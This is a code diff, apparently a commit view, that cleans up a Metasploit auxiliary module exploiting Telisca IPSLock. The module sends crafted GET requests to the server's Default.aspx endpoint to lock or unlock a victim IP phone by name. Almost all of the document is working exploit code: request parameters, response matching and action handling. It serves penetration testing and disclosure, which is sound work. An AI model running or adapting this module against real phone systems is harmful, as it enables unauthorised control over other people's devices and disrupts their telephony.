|
7 | 7 |
|
8 | 8 | class Metasploit3 < Msf::Auxiliary
|
9 | 9 |
|
10 |
| - include Msf::Auxiliary::Report |
11 | 10 | include Msf::Exploit::Remote::HttpClient
|
12 | 11 |
|
13 | 12 | def initialize(info = {})
|
14 | 13 | super(update_info(info,
|
15 |
| - 'Name' => 'Telisca IPSLock Abuse', |
16 |
| - 'Description' => %q{This modules will exploit the vulnerabilities of Telisca IPSLock , in order to lock/unlock IP Phones. you need to be in the voip vlan and you have to know the phone name example : SEP002497AB1D4B . Set ACTION to either LOCK or UNLOCK UNLOCK is the default.}, |
| 14 | + 'Name' => 'Telisca IPS Lock Control', |
| 15 | + 'Description' => %q{ |
| 16 | + This modules will exploit the vulnerabilities of Telisca IPSLock in order to lock or unlock |
| 17 | + IP Phones. You need to be in the voip vlan and you have to know the phone name. |
| 18 | + Example : SEP002497AB1D4B. |
| 19 | +
|
| 20 | + Set ACTION to either LOCK or UNLOCK. UNLOCK is the default. |
| 21 | + }, |
17 | 22 | 'References' =>
|
18 |
| - [ |
19 |
| - ], |
| 23 | + [ |
| 24 | + # First publicly known resource |
| 25 | + 'URL', 'https://github.com/rapid7/metasploit-framework/pull/6470' |
| 26 | + ], |
20 | 27 | 'Author' =>
|
21 |
| - [ |
22 |
| - 'Fakhir Karim Reda <karim.fakhir[at]gmail.com>', |
23 |
| - 'zirsalem' |
24 |
| - ], 'License' => MSF_LICENSE, |
| 28 | + [ |
| 29 | + 'Fakhir Karim Reda <karim.fakhir[at]gmail.com>', |
| 30 | + 'zirsalem' |
| 31 | + ], |
25 | 32 | 'License' => MSF_LICENSE,
|
26 |
| - 'DisclosureDate' => "Dec 17 2015", |
27 |
| - 'Actions' => |
| 33 | + 'DisclosureDate' => 'Dec 17 2015', |
| 34 | + 'Actions' => |
28 | 35 | [
|
29 |
| - ['LOCK'], |
30 |
| - ['UNLOCK'] |
| 36 | + ['LOCK', 'Description' => 'To lock a phone'], |
| 37 | + ['UNLOCK', 'Description' => 'To unlock a phone'] |
31 | 38 | ],
|
| 39 | + 'DefaultAction' => 'UNLOCK' |
32 | 40 | ))
|
| 41 | + |
33 | 42 | register_options(
|
34 | 43 | [
|
35 |
| - OptString.new('PHONENAME', [true, 'The name of the victim phone ex SEP002497AB1D4B ']), |
36 |
| - OptString.new('RHOST', [true, 'The IPSLock IP Address']), |
37 |
| - OptString.new('ACTION', [true, 'LOCK OR UNLOCK','LOCK']), |
| 44 | + OptAddress.new('RHOST', [true, 'The IPS Lock IP Address']), |
| 45 | + OptString.new('PHONENAME', [true, 'The name of the victim phone. Ex: SEP002497AB1D4B']) |
38 | 46 | ], self.class)
|
| 47 | + |
39 | 48 | deregister_options('RHOSTS')
|
40 |
| - end |
| 49 | + end |
| 50 | + |
| 51 | + def print_status(msg='') |
| 52 | + super("#{peer} - #{msg}") |
| 53 | + end |
| 54 | + |
| 55 | + def print_good(msg='') |
| 56 | + super("#{peer} - #{msg}") |
| 57 | + end |
| 58 | + |
| 59 | + def print_error(msg='') |
| 60 | + super("#{peer} - #{msg}") |
| 61 | + end |
41 | 62 |
|
| 63 | + # Returns the status of the listening port. |
| 64 | + # |
| 65 | + # @return [Boolean] TrueClass if port open, otherwise FalseClass. |
42 | 66 | def port_open?
|
43 | 67 | begin
|
44 |
| - res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT']) |
| 68 | + res = send_request_raw({'method' => 'GET', 'uri' => '/'}) |
45 | 69 | return true if res
|
46 | 70 | rescue ::Rex::ConnectionRefused
|
47 |
| - vprint_status("#{peer} - Connection refused") |
48 |
| - return false |
| 71 | + vprint_status("Connection refused") |
49 | 72 | rescue ::Rex::ConnectionError
|
50 |
| - vprint_error("#{peer} - Connection failed") |
51 |
| - return false |
| 73 | + vprint_error("Connection failed") |
52 | 74 | rescue ::OpenSSL::SSL::SSLError
|
53 |
| - vprint_error("#{peer} - SSL/TLS connection error") |
54 |
| - return false |
| 75 | + vprint_error("SSL/TLS connection error") |
55 | 76 | end
|
| 77 | + |
| 78 | + false |
56 | 79 | end
|
57 | 80 |
|
| 81 | + # Locks a device. |
58 | 82 | #
|
59 |
| - # Lock a phone . Function returns true or false |
| 83 | + # @param phone_name [String] Name of the phone used for the pn parameter. |
60 | 84 | #
|
61 |
| - def lock(phone_name,ips_ip) |
62 |
| - sid = '' |
63 |
| - begin |
64 |
| - res = send_request_cgi({ |
65 |
| - 'method' => 'GET', |
66 |
| - 'uri' => '/IPSPCFG/user/Default.aspx', |
67 |
| - 'vars_get' => { |
68 |
| - 'action' => 'DO', |
69 |
| - 'tg' => 'L', |
70 |
| - 'pn' => phone_name, |
71 |
| - 'dp' => '', |
72 |
| - 'gr' => '', |
73 |
| - 'gl' => '' |
74 |
| - } |
75 |
| - }) |
76 |
| - if res and res.code == 200 |
77 |
| - if res.body.include? "Unlock" or res.body.include? "U7LCK" |
78 |
| - print_good("The deivice #{phone_name} is already locked") |
79 |
| - elsif res.body.include? "unlocked" or res.body.include? "Locking" or res.body.include? "QUIT" |
80 |
| - print_good("Deivice #{phone_name} successfully locked") |
81 |
| - end |
82 |
| - else |
83 |
| - print_error("Lock Request Error #{res.code}") |
84 |
| - return nil |
| 85 | + # @return [void] |
| 86 | + def lock(phone_name) |
| 87 | + res = send_request_cgi({ |
| 88 | + 'method' => 'GET', |
| 89 | + 'uri' => '/IPSPCFG/user/Default.aspx', |
| 90 | + 'vars_get' => { |
| 91 | + 'action' => 'DO', |
| 92 | + 'tg' => 'L', |
| 93 | + 'pn' => phone_name, |
| 94 | + 'dp' => '', |
| 95 | + 'gr' => '', |
| 96 | + 'gl' => '' |
| 97 | + } |
| 98 | + }) |
| 99 | + |
| 100 | + if res && res.code == 200 |
| 101 | + if res.body.include?('Unlock') || res.body.include?('U7LCK') |
| 102 | + print_good("The device #{phone_name} is already locked") |
| 103 | + elsif res.body.include?('unlocked') || res.body.include?('Locking') || res.body.include?('QUIT') |
| 104 | + print_good("Device #{phone_name} successfully locked") |
85 | 105 | end
|
86 |
| - rescue ::Exception => e |
87 |
| - print_error("Error: #{e.to_s}") |
88 |
| - return nil |
| 106 | + elsif res |
| 107 | + print_error("Unexpected response #{res.code}") |
| 108 | + else |
| 109 | + print_error('The connection timed out while trying to lock.') |
89 | 110 | end
|
90 |
| - return false |
91 |
| - end |
| 111 | + end |
| 112 | + |
92 | 113 |
|
| 114 | + # Unlocks a phone. |
93 | 115 | #
|
94 |
| - # Unlock a phone . Function returns true or false |
| 116 | + # @param phone_name [String] Name of the phone used for the pn parameter. |
95 | 117 | #
|
96 |
| - def unlock(phone_name,ips_ip) |
97 |
| - begin |
98 |
| - res = send_request_cgi({ |
99 |
| - 'method' => 'GET', |
100 |
| - 'uri' => '/IPSPCFG/user/Default.aspx', |
101 |
| - 'headers' => { |
102 |
| - 'Connection' => 'keep-alive', |
103 |
| - 'Accept-Language' => 'en-US,en;q=0.5' |
104 |
| - }, |
105 |
| - 'vars_get' => { |
106 |
| - 'action' => 'U7LCK', |
107 |
| - 'pn' => phone_name, |
108 |
| - 'dp' => '' |
109 |
| - } |
110 |
| - }) |
111 |
| - if res and res.code == 200 |
112 |
| - if res.body.include? "Unlock" or res.body.include? "U7LCK" |
113 |
| - print_good("The device #{phone_name} is already locked") |
114 |
| - return true |
115 |
| - elsif res.body.include? "unlocked" or res.body.include? "QUIT" |
116 |
| - print_good("The device #{phone_name} successfully unlocked") |
117 |
| - return true |
118 |
| - end |
119 |
| - else |
120 |
| - print_error("UNLOCK Request Error #{res.code}") |
121 |
| - return nil |
122 |
| - end |
123 |
| - rescue ::Exception => e |
124 |
| - print_error("Error: #{e.to_s}") |
125 |
| - return nil |
| 118 | + # @return [void] |
| 119 | + def unlock(phone_name) |
| 120 | + res = send_request_cgi({ |
| 121 | + 'method' => 'GET', |
| 122 | + 'uri' => '/IPSPCFG/user/Default.aspx', |
| 123 | + 'headers' => { |
| 124 | + 'Connection' => 'keep-alive', |
| 125 | + 'Accept-Language' => 'en-US,en;q=0.5' |
| 126 | + }, |
| 127 | + 'vars_get' => { |
| 128 | + 'action' => 'U7LCK', |
| 129 | + 'pn' => phone_name, |
| 130 | + 'dp' => '' |
| 131 | + } |
| 132 | + }) |
| 133 | + |
| 134 | + if res && res.code == 200 |
| 135 | + if res.body.include?('Unlock') || res.body.include?('U7LCK') |
| 136 | + print_good("The device #{phone_name} is already locked") |
| 137 | + elsif res.body.include?('unlocked') || res.body.include?('QUIT') |
| 138 | + print_good("The device #{phone_name} successfully unlocked") |
| 139 | + end |
| 140 | + elsif res |
| 141 | + print_error("Unexpected response #{res.code}") |
| 142 | + else |
| 143 | + print_error('The connection timed out while trying to unlock') |
126 | 144 | end
|
127 |
| - return nil |
128 | 145 | end
|
| 146 | + |
| 147 | + |
129 | 148 | def run
|
130 |
| - if not port_open? |
131 |
| - print_error("The web server is unreachable !") |
| 149 | + unless port_open? |
| 150 | + print_error('The web server is unreachable!') |
132 | 151 | return
|
133 | 152 | end
|
| 153 | + |
134 | 154 | phone_name = datastore['PHONENAME']
|
135 |
| - ipsserver = datastore['RHOST'] |
136 | 155 | case action.name
|
137 | 156 | when 'LOCK'
|
138 |
| - res = lock(phone_name,ipsserver) |
| 157 | + lock(phone_name) |
139 | 158 | when 'UNLOCK'
|
140 |
| - res = unlock(phone_name,ipsserver) |
| 159 | + unlock(phone_name) |
141 | 160 | end
|
142 | 161 | end
|
143 | 162 | end
|
0 commit comments